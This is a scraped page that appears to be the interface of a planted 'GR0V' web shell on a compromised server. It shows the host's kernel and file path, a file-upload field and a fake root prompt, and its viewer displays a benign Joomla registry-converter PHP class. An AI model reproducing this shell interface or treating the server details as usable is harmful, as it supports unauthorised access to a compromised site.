? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/libraries/rokcommon/RokCommon/Registry/Converter/
File Upload :
Current File : /home/admin/public_html/old/libraries/rokcommon/RokCommon/Registry/Converter/Joomla.php

<?php
/**
 * @version   $Id: Joomla.php 10831 2013-05-29 19:32:17Z btowles $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2015 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

class RokCommon_Registry_Converter_Joomla implements RokCommon_Registry_IConverter
{
    /**
     * Convert a registry type object to a RokCommon_Registry
     * @static
     *
     * @param JRegistry $original The original registry type object to convert to a RokCommon_Registry
     * @return \RokCommon_Registry
     */
    public function convert($original)
    {
        $registry = new RokCommon_Registry();
        $original_values = $original->toArray();
        self::copyData($registry, $original_values);
        return $registry;
    }


    /**
     * @param RokCommon_Registry $registry
     * @param                    $value
     * @param array              $parent
     *
     * @return mixed
     */
    protected function copyData(RokCommon_Registry &$registry, &$value, $parent = array())
    {
        foreach($value as $key => $subvalue)
        {
            $new_parent = $parent;
            array_push($new_parent, $key);
            if (is_array($subvalue))
            {
                $retdata = self::copyData($registry, $subvalue, $new_parent);
            } else {
                $registry->set(implode('.',$new_parent), $subvalue);
            }
        }
        return;
    }
}

T1KUS90T
  root-grov@210.1.60.28:~$